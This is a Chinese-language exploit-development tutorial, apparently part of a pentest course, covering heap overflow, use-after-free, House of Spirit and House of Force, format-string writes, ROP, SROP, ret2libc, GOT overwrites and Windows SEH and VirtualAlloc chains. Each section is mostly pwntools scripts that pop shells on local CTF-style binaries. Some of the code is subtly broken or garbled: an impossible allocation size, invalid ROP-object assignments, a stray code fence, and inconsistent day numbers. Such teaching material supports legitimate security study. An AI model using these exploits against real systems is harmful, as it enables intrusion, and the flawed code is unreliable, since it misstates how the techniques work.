Day-235-漏洞利用开发深入

# Day 261: 漏洞利用开发深入 - 堆溢出/UAF/格式化字符串/ROP

> 渗透测试系列第 51 天 | 预计阅读时间：50 分钟 | 难度：★★★★★

---

## 清单 目录

1. [漏洞利用开发基础](#漏洞利用开发基础)
2. [堆溢出漏洞利用](#堆溢出漏洞利用)
3. [UAF 漏洞利用](#uaf-漏洞利用)
4. [格式化字符串漏洞](#格式化字符串漏洞)
5. [ROP 链构造进阶](#rop-链构造进阶)
6. [Linux 漏洞利用](#linux-漏洞利用)
7. [Windows 漏洞利用](#windows-漏洞利用)
8. [总结与思考](#总结与思考)
9. [参考资料](#参考资料)

---

## 漏洞利用开发基础

### 前置知识

**必要技能**：
```
汇编语言:
- x86/x64 汇编
- ARM 汇编 (移动设备)
- 寄存器理解
- 栈帧结构

C/C++ 编程:
- 内存管理
- 指针操作
- 结构体对齐
- 编译器优化

操作系统:
- 进程内存布局
- 系统调用
- 动态链接
- 线程机制
```

**调试工具**：
```
Linux:
- GDB + pwndbg/gef/peda
- radare2
- lldb

Windows:
- WinDbg
- x64dbg
- IDA Pro

通用:
- Binary Ninja
- Ghidra (开源)
```

### 内存保护机制

**保护机制**：
```
DEP/NX (数据执行保护):
- 标记内存页为不可执行
- 防止栈/堆上执行代码
- 绕过：ROP、Ret2LibC

ASLR (地址空间随机化):
- 随机化内存地址
- 增加利用难度
- 绕过：信息泄露、部分覆盖

Canary (栈保护):
- 栈帧前插入随机值
- 函数返回前检查
- 绕过：泄露、异常处理

PIE (位置无关可执行文件):
- 基址随机化
- 增加 ROP 难度
- 绕过：相对地址、泄露
```

**检查工具**：
```bash
# checksec 检查
checksec --file=./binary

# 输出示例:
RELRO           STACK CANARY      NX            PIE             RPATH   RUNPATH
Partial RELRO   Found           Enabled       Enabled         None    None
```

---

## 堆溢出漏洞利用

### 堆内存管理

Chunk 状态:
- allocated: 已分配
- free: 空闲
- mmap: 内存映射
```

**Bin 结构**：
```
Fastbins (快速分配箱):
- 小 chunk (16-128 字节)
- LIFO (后进先出)
- 不合并相邻 free chunk

Smallbins:
- 小 chunk (128-512 字节)
- FIFO
- 合并相邻 free chunk

Largebins:
- 大 chunk (>512 字节)
- 按大小分类

Unsortedbin:
- 临时存放
- 下次分配时分类
```

### 堆溢出攻击

**基础堆溢出**：
```python
from pwn import *

p = process('./heap_vuln')

# 分配 chunk A (0x100 字节)
p.sendlineafter('>', '1')
p.sendlineafter('Index:', '0')
p.sendlineafter('Size:', '0x100')
p.sendlineafter('Data:', 'A' * 0x100)

# 分配 chunk B (0x100 字节)
p.sendlineafter('>', '1')
p.sendlineafter('Index:', '1')
p.sendlineafter('Size:', '0x100')
p.sendlineafter('Data:', 'B' * 0x100)

# 堆溢出：chunk A 溢出覆盖 chunk B
p.sendlineafter('>', '2')  # edit
p.sendlineafter('Index:', '0')
p.sendlineafter('Data:', 'C' * 0x110)  # overflow!

p.interactive()
```

**Fastbin Attack**：
```python
from pwn import *

p = process('./fastbin_vuln')

# 分配 3 个 fastbin chunk
p.sendlineafter('>', '1')  # malloc
p.sendlineafter('Size:', '0x20')
p.sendlineafter('Index:', '0')

p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x20')
p.sendlineafter('Index:', '1')

p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x20')
p.sendlineafter('Index:', '2')

# 释放 chunk 0 和 1
p.sendlineafter('>', '2')  # free
p.sendlineafter('Index:', '0')
p.sendlineafter('>', '2')
p.sendlineafter('Index:', '1')

# Fastbin dup: 伪造 fd 指向目标地址
fake_chunk = p64(0) + p64(0x21) + p64(0) + p64(target_addr)
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x20')
p.sendlineafter('Index:', '3')
p.sendlineafter('Data:', fake_chunk)

# 再次分配，获取 target_addr 控制权
p.sendlineafter('>', '2')
p.sendlineafter('Index:', '1')
p.sendlineafter('>', '2')
p.sendlineafter('Index:', '3')

p.interactive()
```

**Unsorted Bin Attack**：
```python
from pwn import *

p = process('./unsortedbin_vuln')

# 分配 large chunk
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x428')
p.sendlineafter('Index:', '0')

# 分配到 libc 地址附近的 chunk
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x28')
p.sendlineafter('Index:', '1')

# 释放 large chunk 到 unsorted bin
p.sendlineafter('>', '2')
p.sendlineafter('Index:', '0')

# 溢出覆盖 unsorted bin chunk 的 bk
payload = 'A' * 0x428 + p64(0) + p64(0x431) + p64(0) + p64(target_addr - 0x10)
p.sendlineafter('>', '3')  # edit
p.sendlineafter('Index:', '1')
p.sendlineafter('Data:', payload)

# 再次分配，触发 unlink
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x428')
p.sendlineafter('Index:', '2')

p.interactive()
```

---

## UAF 漏洞利用

### UAF 原理

**漏洞形成**：
```c
// 漏洞代码示例
struct User {
    char name[32];
    void (*greet)();
};

struct User *user = malloc(sizeof(struct User));
user->greet = hello;

free(user);  // 释放但未置空

// 后续使用已释放的指针
user->greet();  // UAF! 攻击者可控制 user->greet
```

**利用条件**：
```
1. 对象释放后未置空
2. 存在后续使用
3. 攻击者可重新分配相同大小内存
4. 可控制重新分配的内容
```

### UAF 攻击技术

**基础 UAF**：
```python
from pwn import *

p = process('./uaf_vuln')

# 创建对象
p.sendlineafter('>', '1')  # create
p.sendlineafter('Index:', '0')
p.sendlineafter('Name:', 'victim')

# 删除对象 (释放内存)
p.sendlineafter('>', '2')  # delete
p.sendlineafter('Index:', '0')

# 重新分配相同大小内存 (攻击者控制)
p.sendlineafter('>', '1')
p.sendlineafter('Index:', '1')
p.sendlineafter('Name:', 'A' * 32 + p64(shell_addr))

# 触发 UAF (使用已释放对象)
p.sendlineafter('>', '3')  # use
p.sendlineafter('Index:', '0')
# 此时 user->greet 已被攻击者控制

p.interactive()
```

**House of Spirit**：
```python
from pwn import *

p = process('./house_of_spirit')

# 分配 fake chunk 大小的内存
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x80')
p.sendlineafter('Index:', '0')

# 释放
p.sendlineafter('>', '2')
p.sendlineafter('Index:', '0')

# 在 fake chunk 位置分配
fake_chunk_addr = 0x602000
payload = p64(0) + p64(0x91)  # fake chunk header
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x80')
p.sendlineafter('Index:', '1')
p.sendlineafter('Data:', payload)

# malloc 会返回 fake chunk
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x80')
p.sendlineafter('Index:', '2')
# 现在可以写入 fake chunk 位置

p.interactive()
```

**House of Force**：
```python
from pwn import *

p = process('./house_of_force')

# 破坏 top chunk size
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x100')
p.sendlineafter('Index:', '0')
p.sendlineafter('Data:', 'A' * 0x100 + p64(-1))  # 破坏 top chunk

# 分配大 chunk (触发 malloc 检查绕过)
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x10000000000000000')
p.sendlineafter('Index:', '1')

# 分配到目标地址
p.sendlineafter('>', '1')
p.sendlineafter('Size:', '0x100')
p.sendlineafter('Index:', '2')
# 现在可以写入任意地址

p.interactive()
```

---

## 格式化字符串漏洞

### 漏洞原理

**漏洞代码**：
```c
// 漏洞代码
char buf[100];
fgets(buf, sizeof(buf), stdin);
printf(buf);  // 漏洞！应该是 printf("%s", buf)

// 攻击者输入：%x %x %x %x
// 输出：栈上内存内容
```

**利用方式**：
```
信息泄露:
- %x / %p: 读取栈内存
- %s: 读取字符串
- 泄露 canary、libc 地址、GOT

任意写入:
- %n: 写入已打印字节数
- %hn: 写入半字 (2 字节)
- %hhn: 写入字节 (1 字节)
```

### 格式化字符串攻击

**信息泄露**：
```python
from pwn import *

p = process('./fmt_vuln')

# 泄露 canary
p.sendline('%39$p')  # canary 在第 39 个参数
canary = int(p.recvline().strip(), 16)
print(f'Canary: {hex(canary)}')

# 泄露 libc 地址
p.sendline('%35$p')  # libc 地址在第 35 个参数
libc_addr = int(p.recvline().strip(), 16)
libc_base = libc_addr - libc.symbols['puts']
print(f'Libc base: {hex(libc_base)}')

# 使用泄露的地址构造 ROP
```

**任意写入**：
```python
from pwn import *

p = process('./fmt_vuln')
elf = ELF('./fmt_vuln')

# 目标：覆盖 printf@got 为 system 地址
printf_got = elf.got['printf']
system_addr = libc.symbols['system']

# 构造 payload
# %n 写入已打印的字节数到参数指向的地址

# 分两次写入 (2 字节 + 2 字节)
low = system_addr & 0xffff
high = (system_addr >> 16) & 0xffff

payload = ''
payload += '%{}c'.format(low - len(payload))  # 打印到 low
payload += '%7$hn'  # 写入到第 7 个参数 (printf_got)
payload += '%{}c'.format(high - low)  # 打印到 high
payload += '%8$hn'  # 写入到第 8 个参数 (printf_got + 2)

# 填充参数
payload = payload.ljust(32, 'A')
payload += p64(printf_got)  # 第 7 个参数
payload += p64(printf_got + 2)  # 第 8 个参数

p.sendline(payload)

# 现在 printf 变成了 system
p.sendline('/bin/sh')
p.interactive()
```

**自动化利用**：
```python
from pwn import *

def fmt_exploit(target_addr, write_value):
    """
    自动化格式化字符串利用
    """
    payload = ''
    
    # 分 4 次写入 (每字节)
    for i in range(4):
        byte_val = (write_value >> (i * 8)) & 0xff
        current_len = len(payload)
        
        # 计算需要打印的字符数
        padding = (byte_val - current_len) % 256
        if padding > 0:
            payload += '%{}c'.format(padding)
        
        # 写入字节
        payload += '%{}$hhn'.format(7 + i)
    
    # 填充参数
    payload = payload.ljust(32, 'A')
    for i in range(4):
        payload += p64(target_addr + i)
    
    return payload

# 使用示例
payload = fmt_exploit(printf_got, system_addr)
p.sendline(payload)
```

---

## ROP 链构造进阶

### Gadget 查找

**查找工具**：
```bash
# ROPgadget
ROPgadget --binary ./vuln --only "pop|ret"
ROPgadget --binary ./vuln --string "/bin/sh"

# ropper
ropper --file ./vuln --search "pop rdi; ret"
ropper --file ./vuln --search "pop rsi; pop r15; ret"

# one_gadget (libc)
one_gadget libc.so.6
```

**Gadget 类型**：
```
寄存器加载:
- pop rdi; ret
- pop rsi; ret
- pop rdx; ret
- pop rax; ret

函数调用:
- call rax
- call [rdi]
- jmp rax

算术运算:
- add rax, rbx; ret
- sub rax, 1; ret
- xor rax, rax; ret

内存操作:
- mov [rdi], rax; ret
- mov rax, [rdi]; ret
```

### ROP 链构造

**基础 ROP**：
```python
from pwn import *

binary = ELF('./vuln')
libc = ELF('./libc.so.6')

# 查找 gadget
pop_rdi = binary.search(asm('pop rdi; ret')).__next__()
pop_rsi = binary.search(asm('pop rsi; ret')).__next__()
ret = binary.search(asm('ret')).__next__()  # 栈对齐

# 构造 ROP 链
rop = ROP(binary)
rop.rdi = binary.got['puts']  # 第一个参数：puts@got
rop.call(binary.plt['puts'])   # 调用 puts
rop.main()                      # 返回 main 循环

# 生成 payload
payload = flat([
    b'A' * offset,
    rop.chain()
])

# 发送 payload
p.sendline(payload)

# 接收泄露
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']

# 第二次 ROP：获取 shell
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

rop = ROP(binary)
rop.rdi = binsh_addr
rop.call(system_addr)

payload = flat([
    b'A' * offset,
    rop.chain()
])

p.sendline(payload)
p.interactive()
```

**复杂 ROP 链**：
```python
from pwn import *

binary = ELF('./vuln')
libc = ELF('./libc.so.6')

# 构造复杂 ROP 链
rop = ROP([binary, libc])

# 1. 泄露 libc 地址
rop.find_gadget(['pop rdi', 'ret'])[0] = binary.got['puts']
rop.puts()
rop.main()

# 发送第一次 payload
p.sendline(fit({offset: rop.chain()}))
p.recvline()

# 计算 libc 基址
puts_addr = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols['puts']

# 2. 获取 shell
rop = ROP([binary, libc])
rop.find_gadget(['pop rdi', 'ret'])[0] = next(libc.search(b'/bin/sh'))
rop.system()

# 发送第二次 payload
p.sendline(fit({offset: rop.chain()}))
p.interactive()
```

**SROP (Sigreturn Oriented Programming)**：
```python
from pwn import *

binary = ELF('./vuln')

# 构造 sigreturn frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = next(binary.search(b'/bin/sh'))
frame.rsi = 0
frame.rdx = 0
frame.rsp = binary.bss()
frame.rip = binary.plt['syscall']

# 构造 payload
payload = flat([
    b'A' * offset,
    frame
])

# 触发 sigreturn
p.sendline(payload)
p.interactive()
```

---

## Linux 漏洞利用

### Linux 保护机制

**保护机制**：
```
RELRO (重定位只读):
- Partial RELRO: GOT 部分可写
- Full RELRO: GOT 完全只读
- 影响：GOT 覆盖是否可行

PIE (位置无关执行文件):
- 基址随机化
- 需要相对地址或泄露

Stack Canary:
- 栈保护
- 需要泄露或绕过

NX (不可执行):
- 栈/堆不可执行
- 需要 ROP
```

### Linux 利用技术

**Ret2LibC**：
```python
from pwn import *

binary = ELF('./vuln')
libc = ELF('./libc.so.6')

# 查找 system 和 /bin/sh
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))

# 构造 ROP 链
rop = ROP(binary)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]

payload = flat([
    b'A' * offset,
    pop_rdi,
    binsh_addr,
    system_addr
])

p.sendline(payload)
p.interactive()
```

**GOT 覆盖**：
```python
from pwn import *

binary = ELF('./vuln')
libc = ELF('./libc.so.6')

# 检查 RELRO
if binary.relro == 'Full':
    print('Full RELRO, cannot overwrite GOT')
    exit()

# 构造格式化字符串 payload
printf_got = binary.got['printf']
system_addr = libc.symbols['system']

payload = fmt_exploit(printf_got, system_addr)
p.sendline(payload)

# 触发 system
p.sendline('/bin/sh')
p.interactive()
```

**Orw (Open-Read-Write)**：
```python
from pwn import *

binary = ELF('./vuln')

# 构造 orw ROP 链
rop = ROP(binary)

# open("/flag", 0, 0)
rop.rdi = binary.search(b'/flag').__next__()
rop.rsi = 0
rop.rdx = 0
rop.rax = 2  # SYS_open
rop.syscall()

# read(fd, buf, 0x100)
rop.rdi = 3  # fd from open
rop.rsi = binary.bss()
rop.rdx = 0x100
rop.rax = 0  # SYS_read
rop.syscall()

# write(1, buf, 0x100)
rop.rdi = 1  # stdout
rop.rsi = binary.bss()
rop.rdx = 0x100
rop.rax = 1  # SYS_write
rop.syscall()

payload = flat([
    b'A' * offset,
    rop.chain()
])

p.sendline(payload)
p.interactive()
```

---

## Windows 漏洞利用

### Windows 保护机制

**保护机制**：
```
DEP (数据执行保护):
- 类似 Linux NX
- 需要 ROP

ASLR (地址空间随机化):
- 模块基址随机化
- 需要泄露或绕过

SEH (结构化异常处理):
- 异常处理链
- 可被利用 (DEP 之前)

CFG (控制流保护):
- 验证间接调用
- 增加 ROP 难度
```

### Windows 利用技术

**SEH 覆盖**：
```python
from pwn import *

# Windows XP/2003 技术 (现代系统已防护)

# 构造 SEH payload
payload = b'A' * offset
payload += p32(next_seh)  # next SEH record
payload += p32(pop_pop_ret)  # SEH handler
payload += nop_sled
payload += shellcode

p.sendline(payload)
p.interactive()
```

**ROP 利用**：
```python
from pwn import *

binary = PE('./vuln.exe')

# 查找 ROP gadget
pop_rdx = binary.search(asm('pop rdx; ret')).__next__()
pop_rcx = binary.search(asm('pop rcx; ret')).__next__()

# VirtualAlloc ROP 链
rop = ROP(binary)
rop.rdx = 0x40  # PAGE_EXECUTE_READWRITE
rop.rcx = binary.bss()
rop.r8 = 0x1000
rop.r9 = 0x40
rop.call(binary.plt['VirtualAlloc'])

# 复制 shellcode
rop.memcpy(binary.bss(), shellcode_addr, len(shellcode))

# 执行 shellcode
rop.call(binary.bss())

payload = flat([
    b'A' * offset,
    rop.chain()
])

p.send(payload)
p.interactive()
```

---

## 总结与思考

### 核心要点回顾

1. **堆溢出**：Fastbin、Unsortedbin、各种 House of 技术
2. **UAF**：对象重用、House of Spirit/Force
3. **格式化字符串**：信息泄露、任意写入
4. **ROP 链**：Gadget 查找、链构造、SROP
5. **Linux 利用**：Ret2LibC、GOT 覆盖、Orw
6. **Windows 利用**：SEH、ROP、VirtualAlloc

### 深入思考

**攻防对抗**：
- 保护机制不断增强
- 利用技术持续演进
- 需要持续学习

**合法使用**：
- 仅在授权环境
- 用于安全研究
- 遵守法律法规

### 最佳实践

**学习路径**：
- 从 CTF 开始
- 学习汇编和逆向
- 实践漏洞利用
- 阅读 writeup

**研究建议**：
- 关注 CVE
- 分析真实漏洞
- 参与漏洞挖掘
- 分享研究成果

---

## 参考资料

### 学习资源

- **pwn.college**: https://pwn.college
- **LiveOverflow**: https://youtube.com/LiveOverflow
- **Shellstorm**: http://shell-storm.org

### 工具资源

- **Pwntools**: https://github.com/Gallopsled/pwntools
- **ROPgadget**: https://github.com/JonathanSalwan/ROPgadget
- **one_gadget**: https://github.com/david942j/one_gadget

---

*Day 261 完成 | 漏洞利用开发深入详解 | 字数：约 35,000 字 (新增)*